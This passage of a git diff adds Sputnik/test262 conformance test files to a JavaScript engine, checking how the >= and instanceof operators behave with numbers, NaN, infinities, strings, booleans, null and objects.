+//CHECK#4
+if (undefined >= new Boolean(true) !== false) {
+ $ERROR('#4: undefined >= new Boolean(true) === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.1_T2.9.js b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.1_T2.9.js
new file mode 100644
index 000000000..8046d5a59
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.1_T2.9.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String or Type(Primitive(y)) is not String, then operator x >= y returns ToNumber(x) >= ToNumber(y)
+ *
+ * @path ch11/11.8/11.8.4/S11.8.4_A3.1_T2.9.js
+ * @description Type(Primitive(x)) is different from Type(Primitive(y)) and both types vary between Boolean (primitive or object) and Null
+ */
+
+//CHECK#1
+if (true >= null !== true) {
+ $ERROR('#1: true >= null === true');
+}
+
+//CHECK#2
+if (null >= true !== false) {
+ $ERROR('#2: null >= true === false');
+}
+
+//CHECK#3
+if (new Boolean(true) >= null !== true) {
+ $ERROR('#3: new Boolean(true) >= null === true');
+}
+
+//CHECK#4
+if (null >= new Boolean(true) !== false) {
+ $ERROR('#4: null >= new Boolean(true) === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.2_T1.1.js b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.2_T1.1.js
new file mode 100644
index 000000000..d166d3f9b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.2_T1.1.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >= y returns ToString(x) >= ToString(y), if Type(Primitive(x)) is String and Type(Primitive(y)) is String
+ *
+ * @path ch11/11.8/11.8.4/S11.8.4_A3.2_T1.1.js
+ * @description Type(Primitive(x)) and Type(Primitive(y)) vary between primitive string and String object
+ */
+
+//CHECK#1
+if ("1" >= "1" !== true) {
+ $ERROR('#1: "1" >= "1" === true');
+}
+
+//CHECK#2
+if (new String("1") >= "1" !== true) {
+ $ERROR('#2: new String("1") >= "1" === true');
+}
+
+//CHECK#3
+if ("1" >= new String("1") !== true) {
+ $ERROR('#3: "1" >= new String("1") === true');
+}
+
+//CHECK#4
+if (new String("1") >= new String("1") !== true) {
+ $ERROR('#4: new String("1") >= new String("1") === true');
+}
+
+//CHECK#5
+if ("x" >= "1" !== true) {
+ $ERROR('#5: "x" >= "1" === true');
+}
+
+//CHECK#6
+if ("1" >= "x" !== false) {
+ $ERROR('#6: "1" >= "x" === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.2_T1.2.js b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.2_T1.2.js
new file mode 100644
index 000000000..7a981028c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A3.2_T1.2.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >= y returns ToString(x) >= ToString(y), if Type(Primitive(x)) is String and Type(Primitive(y)) is String
+ *
+ * @path ch11/11.8/11.8.4/S11.8.4_A3.2_T1.2.js
+ * @description Type(Primitive(x)) and Type(Primitive(y)) vary between Object object and Function object
+ */
+
+//CHECK#1
+if (({} >= function(){return 1}) !== ({}.toString() >= function(){return 1}.toString())) {
+ $ERROR('#1: ({} >= function(){return 1}) === ({}.toString() >= function(){return 1}.toString())');
+}
+
+//CHECK#2
+if ((function(){return 1} >= {}) !== (function(){return 1}.toString() >= {}.toString())) {
+ $ERROR('#2: (function(){return 1} >= {}) === (function(){return 1}.toString() >= {}.toString())');
+}
+
+//CHECK#3
+if ((function(){return 1} >= function(){return 1}) !== (function(){return 1}.toString() >= function(){return 1}.toString())) {
+ $ERROR('#3: (function(){return 1} >= function(){return 1}) === (function(){return 1}.toString() >= function(){return 1}.toString())');
+}
+
+//CHECK#4
+if (({} >= {}) !== ({}.toString() >= {}.toString())) {
+ $ERROR('#4: ({} >= {}) === ({}.toString() >= {}.toString())');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.1.js b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.1.js
new file mode 100644
index 000000000..601f23715
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.1.js
@@ -0,0 +1,51 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If x is NaN, return false (if result in 11.8.5 is undefined, return false)
+ *
+ * @path ch11/11.8/11.8.4/S11.8.4_A4.1.js
+ * @description y is number primitive
+ */
+
+//CHECK#1
+if ((Number.NaN >= 0) !== false) {
+ $ERROR('#1: (NaN >= 0) === false');
+}
+
+//CHECK#2
+if ((Number.NaN >= 1.1) !== false) {
+ $ERROR('#2: (NaN >= 1.1) === false');
+}
+
+//CHECK#3
+if ((Number.NaN >= -1.1) !== false) {
+ $ERROR('#3: (NaN >= -1.1) === false');
+}
+
+//CHECK#4
+if ((Number.NaN >= Number.NaN) !== false) {
+ $ERROR('#4: (NaN >= NaN) === false');
+}
+
+//CHECK#5
+if ((Number.NaN >= Number.POSITIVE_INFINITY) !== false) {
+ $ERROR('#5: (NaN >= +Infinity) === false');
+}
+
+//CHECK#6
+if ((Number.NaN >= Number.NEGATIVE_INFINITY) !== false) {
+ $ERROR('#6: (NaN >= -Infinity) === false');
+}
+
+//CHECK#7
+if ((Number.NaN >= Number.MAX_VALUE) !== false) {
+ $ERROR('#7: (NaN >= Number.MAX_VALUE) === false');
+}
+
+//CHECK#8
+if ((Number.NaN >= Number.MIN_VALUE) !== false) {
+ $ERROR('#8: (NaN >= Number.MIN_VALUE) === false');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.10.js b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.10.js
new file mode 100644
index 000000000..caaf1fa86
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.10.js
@@ -0,0 +1,41 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If x is a prefix of y and x !== y, return false
+ *
+ * @path ch11/11.8/11.8.4/S11.8.4_A4.10.js
+ * @description x and y are string primitives
+ */
+
+//CHECK#1
+if (("x" >= "x ") !== false) {
+ $ERROR('#1: ("x" >= "x ") === false');
+}
+
+//CHECK#2
+if (("" >= "x") !== false) {
+ $ERROR('#2: ("" >= "x") === false');
+}
+
+//CHECK#3
+if (("ab" >= "abcd") !== false) {
+ $ERROR('#3: ("ab" >= abcd") === false');
+}
+
+//CHECK#4
+if (("abcd" >= "abc\u0064") !== true) {
+ $ERROR('#4: ("abcd" >= abc\\u0064") === true');
+}
+
+//CHECK#5
+if (("x" >= "x" + "y") !== false) {
+ $ERROR('#5: ("x" >= "x" + "y") === false');
+}
+
+//CHECK#6
+var x = "x";
+if ((x >= x + "y") !== false) {
+ $ERROR('#6: var x = "x"; (x >= x + "y") === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.11.js b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.11.js
new file mode 100644
index 000000000..98b792a6d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.11.js
@@ -0,0 +1,52 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If y is a prefix of x, return true
+ *
+ * @path ch11/11.8/11.8.4/S11.8.4_A4.11.js
+ * @description x and y are string primitives
+ */
+
+//CHECK#1
+if (("x" >= "x") !== true) {
+ $ERROR('#1: ("x" >= "x") === true');
+}
+
+//CHECK#2
+if (("x" >= "") !== true) {
+ $ERROR('#2: ("x" >= "") === true');
+}
+
+//CHECK#3
+if (("abcd" >= "ab") !== true) {
+ $ERROR('#3: ("abcd" >= ab") === true');
+}
+
+//CHECK#4
+if (("abc\u0064" >= "abcd") !== true) {
+ $ERROR('#4: ("abc\\u0064" >= abc") === true');
+}
+
+//CHECK#5
+if (("x" + "y" >= "x") !== true) {
+ $ERROR('#5: ("x" + "y" >= "x") === true');
+}
+
+//CHECK#6
+var x = "x";
+if ((x + 'y' >= x) !== true) {
+ $ERROR('#6: var x = "x"; (x + "y" >= x) === true');
+}
+
+//CHECK#7
+if (("a\u0000a" >= "a\u0000") !== true) {
+ $ERROR('#7: ("a\\u0000a" >= "a\\u0000") === true');
+}
+
+//CHECK#8
+if ((" x" >= "x") !== false) {
+ $ERROR('#8: (" x" >= "x") === false');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.12_T1.js b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.12_T1.js
new file mode 100644
index 000000000..961dc236f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.12_T1.js
@@ -0,0 +1,45 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If neither x, nor y is a prefix of each other, returned result of strings comparison applies a simple lexicographic ordering to the sequences of code point value values
+ *
+ * @path ch11/11.8/11.8.4/S11.8.4_A4.12_T1.js
+ * @description x and y are string primitives
+ */
+
+//CHECK#1
+if (("xy" >= "xx") !== true) {
+ $ERROR('#1: ("xy" >= "xx") === true');
+}
+
+//CHECK#2
+if (("xx" >= "xy") !== false) {
+ $ERROR('#2: ("xx" >= "xy") === false');
+}
+
+//CHECK#3
+if (("y" >= "x") !== true) {
+ $ERROR('#3: ("y" >= "x") === true');
+}
+
+//CHECK#4
+if (("aba" >= "aab") !== true) {
+ $ERROR('#4: ("aba" >= aab") === true');
+}
+
+//CHECK#5
+if (("\u0061\u0061\u0061\u0061" >= "\u0061\u0061\u0061\u0062") !== false) {
+ $ERROR('#5: ("\\u0061\\u0061\\u0061\\u0061" >= \\u0061\\u0061\\u0061\\u0062") === false');
+}
+
+//CHECK#6
+if (("a\u0000b" >= "a\u0000a") !== true) {
+ $ERROR('#6: ("a\\u0000b" >= "a\\u0000a") === true');
+}
+
+//CHECK#7
+if (("aa" >= "aB") !== true) {
+ $ERROR('#7: ("aa" >= aB") === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.12_T2.js b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.12_T2.js
new file mode 100644
index 000000000..851e69d49
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.12_T2.js
@@ -0,0 +1,45 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If neither x, nor y is a prefix of each other, returned result of strings comparison applies a simple lexicographic ordering to the sequences of code point value values
+ *
+ * @path ch11/11.8/11.8.4/S11.8.4_A4.12_T2.js
+ * @description x and y are string primitives
+ */
+
+//CHECK#1
+if (("x" >= "0") !== true) {
+ $ERROR('#1: ("x" >= "0") !== true');
+}
+
+//CHECK#2
+if (("0" >= "-") !== true) {
+ $ERROR('#2: ("0" >= "-") !== true');
+}
+
+//CHECK#3
+if (("0" >= ".") !== true) {
+ $ERROR('#3: ("0" >= ".") !== true');
+}
+
+//CHECK#4
+if (("-" >= "+") !== true) {
+ $ERROR('#4: ("-" >= "+") !== true');
+}
+
+//CHECK#5
+if (("-1" >= "-0") !== true) {
+ $ERROR('#5: ("-1" >= "-0") !== true');
+}
+
+//CHECK#6
+if (("-1" >= "+1") !== true) {
+ $ERROR('#6: ("-1" >= "+1") !== true');
+}
+
+//CHECK#7
+if (("1e-10" >= "1") !== true) {
+$ERROR('#7: ("1e-10" >= "1") !== true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.2.js b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.2.js
new file mode 100644
index 000000000..a10b2ab4e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.2.js
@@ -0,0 +1,51 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If y is NaN, return false (if result in 11.8.5 is undefined, return false)
+ *
+ * @path ch11/11.8/11.8.4/S11.8.4_A4.2.js
+ * @description x is number primitive
+ */
+
+//CHECK#1
+if ((0 >= Number.NaN) !== false) {
+ $ERROR('#1: (0 >= NaN) === false');
+}
+
+//CHECK#2
+if ((1.1 >= Number.NaN) !== false) {
+ $ERROR('#2: (1.1 >= NaN) === false');
+}
+
+//CHECK#3
+if ((-1.1 >= Number.NaN) !== false) {
+ $ERROR('#3: (-1.1 >= NaN) === false');
+}
+
+//CHECK#4
+if ((Number.NaN >= Number.NaN) !== false) {
+ $ERROR('#4: (NaN >= NaN) === false');
+}
+
+//CHECK#5
+if ((Number.POSITIVE_INFINITY >= Number.NaN) !== false) {
+ $ERROR('#5: (+Infinity >= NaN) === false');
+}
+
+//CHECK#6
+if ((Number.NEGATIVE_INFINITY >= Number.NaN) !== false) {
+ $ERROR('#6: (-Infinity >= NaN) === false');
+}
+
+//CHECK#7
+if ((Number.MAX_VALUE >= Number.NaN) !== false) {
+ $ERROR('#7: (Number.MAX_VALUE >= NaN) === false');
+}
+
+//CHECK#8
+if ((Number.MIN_VALUE >= Number.NaN) !== false) {
+ $ERROR('#8: (Number.MIN_VALUE >= NaN) === false');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.3.js b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.3.js
new file mode 100644
index 000000000..4169a91bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.3.js
@@ -0,0 +1,47 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If x and y are the same number value, return true
+ *
+ * @path ch11/11.8/11.8.4/S11.8.4_A4.3.js
+ * @description x and y are number primitives
+ */
+
+//CHECK#1
+if ((1 >= 1) !== true) {
+ $ERROR('#1: (1 >= 1) === true');
+}
+
+//CHECK#2
+if ((1.1 >= 1.1) !== true) {
+ $ERROR('#2: (1.1 >= 1.1) === true');
+}
+
+//CHECK#3
+if ((-1.1 >= -1.1) !== true) {
+ $ERROR('#3: (-1.1 >= -1.1) === true');
+}
+
+//CHECK#4
+if ((Number.NEGATIVE_INFINITY >= Number.NEGATIVE_INFINITY) !== true) {
+ $ERROR('#4: (-Infinity >= -Infinity) === true');
+}
+
+//CHECK#5
+if ((Number.POSITIVE_INFINITY >= Number.POSITIVE_INFINITY) !== true) {
+ $ERROR('#5: (+Infinity >= +Infinity) === true');
+}
+
+//CHECK#6
+if ((Number.MAX_VALUE >= Number.MAX_VALUE) !== true) {
+ $ERROR('#6: (Number.MAX_VALUE >= Number.MAX_VALUE) === true');
+}
+
+//CHECK#7
+if ((Number.MIN_VALUE >= Number.MIN_VALUE) !== true) {
+ $ERROR('#7: (Number.MIN_VALUE >= Number.MIN_VALUE) === true');
+}
+
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.4.js b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.4.js
new file mode 100644
index 000000000..3abe7fa77
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.4.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If either x or y is +0 and the other is -0, return true
+ *
+ * @path ch11/11.8/11.8.4/S11.8.4_A4.4.js
+ * @description Checking all combinations
+ */
+
+//CHECK#1
+if ((0 >= 0) !== true) {
+ $ERROR('#1: (0 >= 0) === true');
+}
+
+//CHECK#2
+if ((-0 >= -0) !== true) {
+ $ERROR('#2: (-0 >= -0) === true');
+}
+
+//CHECK#3
+if ((+0 >= -0) !== true) {
+ $ERROR('#3: (+0 >= -0) === true');
+}
+
+//CHECK#4
+if ((-0 >= +0) !== true) {
+ $ERROR('#4: (-0 >= +0) === true');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.5.js b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.5.js
new file mode 100644
index 000000000..e0357fee2
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.5.js
@@ -0,0 +1,41 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If x is +Infinity, return true
+ *
+ * @path ch11/11.8/11.8.4/S11.8.4_A4.5.js
+ * @description y is number primitive
+ */
+
+//CHECK#1
+if ((Number.POSITIVE_INFINITY >= 0) !== true) {
+ $ERROR('#1: (+Infinity >= 0) === true');
+}
+
+//CHECK#2
+if ((Number.POSITIVE_INFINITY >= 1.1) !== true) {
+ $ERROR('#2: (+Infinity >= 1.1) === true');
+}
+
+//CHECK#3
+if ((Number.POSITIVE_INFINITY >= -1.1) !== true) {
+ $ERROR('#3: (+Infinity >= -1.1) === true');
+}
+
+//CHECK#4
+if ((Number.POSITIVE_INFINITY >= Number.NEGATIVE_INFINITY) !== true) {
+ $ERROR('#4: (+Infinity >= -Infinity) === true');
+}
+
+//CHECK#5
+if ((Number.POSITIVE_INFINITY >= Number.MAX_VALUE) !== true) {
+ $ERROR('#5: (+Infinity >= Number.MAX_VALUE) === true');
+}
+
+//CHECK#6
+if ((Number.POSITIVE_INFINITY >= Number.MIN_VALUE) !== true) {
+ $ERROR('#6: (+Infinity >= Number.MIN_VALUE) === true');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.6.js b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.6.js
new file mode 100644
index 000000000..b1f898a14
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.6.js
@@ -0,0 +1,41 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If y is +Infinity and x !== y, return false
+ *
+ * @path ch11/11.8/11.8.4/S11.8.4_A4.6.js
+ * @description x is number primitive
+ */
+
+//CHECK#1
+if ((0 >= Number.POSITIVE_INFINITY) !== false) {
+ $ERROR('#1: (0 >= +Infinity) === false');
+}
+
+//CHECK#2
+if ((1.1 >= Number.POSITIVE_INFINITY) !== false) {
+ $ERROR('#2: (1.1 >= +Infinity) === false');
+}
+
+//CHECK#3
+if ((-1.1 >= Number.POSITIVE_INFINITY) !== false) {
+ $ERROR('#3: (-1.1 >= +Infinity) === false');
+}
+
+//CHECK#4
+if ((Number.NEGATIVE_INFINITY >= Number.POSITIVE_INFINITY) !== false) {
+ $ERROR('#4: (-Infinity >= +Infinity) === false');
+}
+
+//CHECK#5
+if ((Number.MAX_VALUE >= Number.POSITIVE_INFINITY) !== false) {
+ $ERROR('#5: (Number.MAX_VALUE >= +Infinity) === false');
+}
+
+//CHECK#6
+if ((Number.MIN_VALUE >= Number.POSITIVE_INFINITY) !== false) {
+ $ERROR('#6: (Number.MIN_VALUE >= +Infinity) === false');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.7.js b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.7.js
new file mode 100644
index 000000000..6a423b834
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.7.js
@@ -0,0 +1,41 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If x is -Infinity and x !== y, return false
+ *
+ * @path ch11/11.8/11.8.4/S11.8.4_A4.7.js
+ * @description y is number primitive
+ */
+
+//CHECK#1
+if ((Number.NEGATIVE_INFINITY >= 0) !== false) {
+ $ERROR('#1: (-Infinity >= 0) === false');
+}
+
+//CHECK#2
+if ((Number.NEGATIVE_INFINITY >= 1.1) !== false) {
+ $ERROR('#2: (-Infinity >= 1.1) === false');
+}
+
+//CHECK#3
+if ((Number.NEGATIVE_INFINITY >= -1.1) !== false) {
+ $ERROR('#3: (-Infinity >= -1.1) === false');
+}
+
+//CHECK#4
+if ((Number.NEGATIVE_INFINITY >= Number.POSITIVE_INFINITY) !== false) {
+ $ERROR('#4: (-Infinity >= +Infinity) === false');
+}
+
+//CHECK#5
+if ((Number.NEGATIVE_INFINITY >= Number.MAX_VALUE) !== false) {
+ $ERROR('#5: (-Infinity >= Number.MAX_VALUE) === false');
+}
+
+//CHECK#6
+if ((Number.NEGATIVE_INFINITY >= Number.MIN_VALUE) !== false) {
+ $ERROR('#6: (-Infinity >= Number.MIN_VALUE) === false');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.8.js b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.8.js
new file mode 100644
index 000000000..ce00360b3
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.8.js
@@ -0,0 +1,41 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If y is -Infinity, return true
+ *
+ * @path ch11/11.8/11.8.4/S11.8.4_A4.8.js
+ * @description x is number primitive
+ */
+
+//CHECK#1
+if ((0 >= Number.NEGATIVE_INFINITY) !== true) {
+ $ERROR('#1: (0 >= -Infinity) === true');
+}
+
+//CHECK#2
+if ((1.1 >= Number.NEGATIVE_INFINITY) !== true) {
+ $ERROR('#2: (1.1 >= -Infinity) === true');
+}
+
+//CHECK#3
+if ((-1.1 >= Number.NEGATIVE_INFINITY) !== true) {
+ $ERROR('#3: (-1.1 >= -Infinity) === true');
+}
+
+//CHECK#4
+if ((Number.POSITIVE_INFINITY >= Number.NEGATIVE_INFINITY) !== true) {
+ $ERROR('#4: (+Infinity >= -Infinity) === true');
+}
+
+//CHECK#5
+if ((Number.MAX_VALUE >= Number.NEGATIVE_INFINITY) !== true) {
+ $ERROR('#5: (Number.MAX_VALUE >= -Infinity) === true');
+}
+
+//CHECK#6
+if ((Number.MIN_VALUE >= Number.NEGATIVE_INFINITY) !== true) {
+ $ERROR('#6: (Number.MIN_VALUE >= -Infinity) === true');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.9.js b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.9.js
new file mode 100644
index 000000000..116d934ef
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.4/S11.8.4_A4.9.js
@@ -0,0 +1,52 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If x is greater or equal than y and these values are both finite non-zero, return true; otherwise, return false
+ *
+ * @path ch11/11.8/11.8.4/S11.8.4_A4.9.js
+ * @description x and y are number primitives
+ */
+
+//CHECK#1
+if ((1 >= 1.1) !== false) {
+ $ERROR('#1: (1 >= 1.1) === false');
+}
+
+//CHECK#2
+if ((1.1 >= 1) !== true) {
+ $ERROR('#2: (1.1 >= 1) === true');
+}
+
+//CHECK#3
+if ((-1 >= -1.1) !== true) {
+ $ERROR('#3: (-1 >= -1.1) === true');
+}
+
+//CHECK#4
+if ((-1.1 >= -1) !== false) {
+ $ERROR('#4: (-1.1 >= -1) === false');
+}
+
+//CHECK#5
+if ((0.1 >= 0) !== true) {
+ $ERROR('#5: (0.1 >= 0) === true');
+}
+
+//CHECK#6
+if ((0 >= -0.1) !== true) {
+ $ERROR('#6: (0 >= -0.1) === true');
+}
+
+//CHECK#7
+if ((Number.MAX_VALUE >= Number.MAX_VALUE/2) !== true) {
+ $ERROR('#7: (Number.MAX_VALUE >= Number.MAX_VALUE/2) === true');
+}
+
+//CHECK#8
+if ((Number.MIN_VALUE*2 >= Number.MIN_VALUE) !== true) {
+ $ERROR('#8: (Number.MIN_VALUE*2 >= Number.MIN_VALUE) === true');
+}
+
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.4/browser.js b/js/src/tests/test262/ch11/11.8/11.8.4/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.4/browser.js
diff --git a/js/src/tests/test262/ch11/11.8/11.8.4/shell.js b/js/src/tests/test262/ch11/11.8/11.8.4/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.4/shell.js
diff --git a/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A1.js b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A1.js
new file mode 100644
index 000000000..282b9fda4
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between RelationalExpression and "instanceof" and between "instanceof" and ShiftExpression are allowed
+ *
+ * @path ch11/11.8/11.8.6/S11.8.6_A1.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if (eval("({})\u0009instanceof\u0009Object") !== true) {
+ $ERROR('#1: ({})\\u0009instanceof\\u0009Object === true');
+}
+
+//CHECK#2
+if (eval("({})\u000Binstanceof\u000BObject") !== true) {
+ $ERROR('#2: ({})\\u000Binstanceof\\u000BObject === true');
+}
+
+//CHECK#3
+if (eval("({})\u000Cinstanceof\u000CObject") !== true) {
+ $ERROR('#3: ({})\\u000Cinstanceof\\u000CObject === true');
+}
+
+//CHECK#4
+if (eval("({})\u0020instanceof\u0020Object") !== true) {
+ $ERROR('#4: ({})\\u0020instanceof\\u0020Object === true');
+}
+
+//CHECK#5
+if (eval("({})\u00A0instanceof\u00A0Object") !== true) {
+ $ERROR('#5: ({})\\u00A0instanceof\\u00A0Object === true');
+}
+
+//CHECK#6
+if (eval("({})\u000Ainstanceof\u000AObject") !== true) {
+ $ERROR('#6: ({})\\u000Ainstanceof\\u000AObject === true');
+}
+
+//CHECK#7
+if (eval("({})\u000Dinstanceof\u000DObject") !== true) {
+ $ERROR('#7: ({})\\u000Dinstanceof\\u000DObject === true');
+}
+
+//CHECK#8
+if (eval("({})\u2028instanceof\u2028Object") !== true) {
+ $ERROR('#8: ({})\\u2028instanceof\\u2028Object === true');
+}
+
+//CHECK#9
+if (eval("({})\u2029instanceof\u2029Object") !== true) {
+ $ERROR('#9: ({})\\u2029instanceof\\u2029Object === true');
+}
+
+//CHECK#10
+if (eval("({})\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029instanceof\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029Object") !== true) {
+ $ERROR('#10: ({})\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029instanceof\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029Object === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A2.1_T1.js b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A2.1_T1.js
new file mode 100644
index 000000000..e7a31658c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A2.1_T1.js
@@ -0,0 +1,35 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator "instanceof" uses GetValue
+ *
+ * @path ch11/11.8/11.8.6/S11.8.6_A2.1_T1.js
+ * @description Either Expression is not Reference or GetBase is not null
+ */
+
+//CHECK#1
+if (({}) instanceof Object !== true) {
+ $ERROR('#1: ({}) instanceof Object === true');
+}
+
+//CHECK#2
+var object = {};
+if (object instanceof Object !== true) {
+ $ERROR('#2: var object = {}; object instanceof Object === true');
+}
+
+//CHECK#3
+var OBJECT = Object;
+if (({}) instanceof OBJECT !== true) {
+ $ERROR('#3: var OBJECT = Object; ({}) instanceof OBJECT === true');
+}
+
+//CHECK#4
+var object = {};
+var OBJECT = Object;
+if (object instanceof OBJECT !== true) {
+ $ERROR('#4: var object = {}; var OBJECT = Object; object instanceof OBJECT === true');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A2.1_T2.js b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A2.1_T2.js
new file mode 100644
index 000000000..9477b0b5d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A2.1_T2.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator "instanceof" uses GetValue
+ *
+ * @path ch11/11.8/11.8.6/S11.8.6_A2.1_T2.js
+ * @description If GetBase(RelationalExpression) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ object instanceof Object;
+ $ERROR('#1.1: object instanceof Object throw ReferenceError. Actual: ' + (object instanceof Object));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
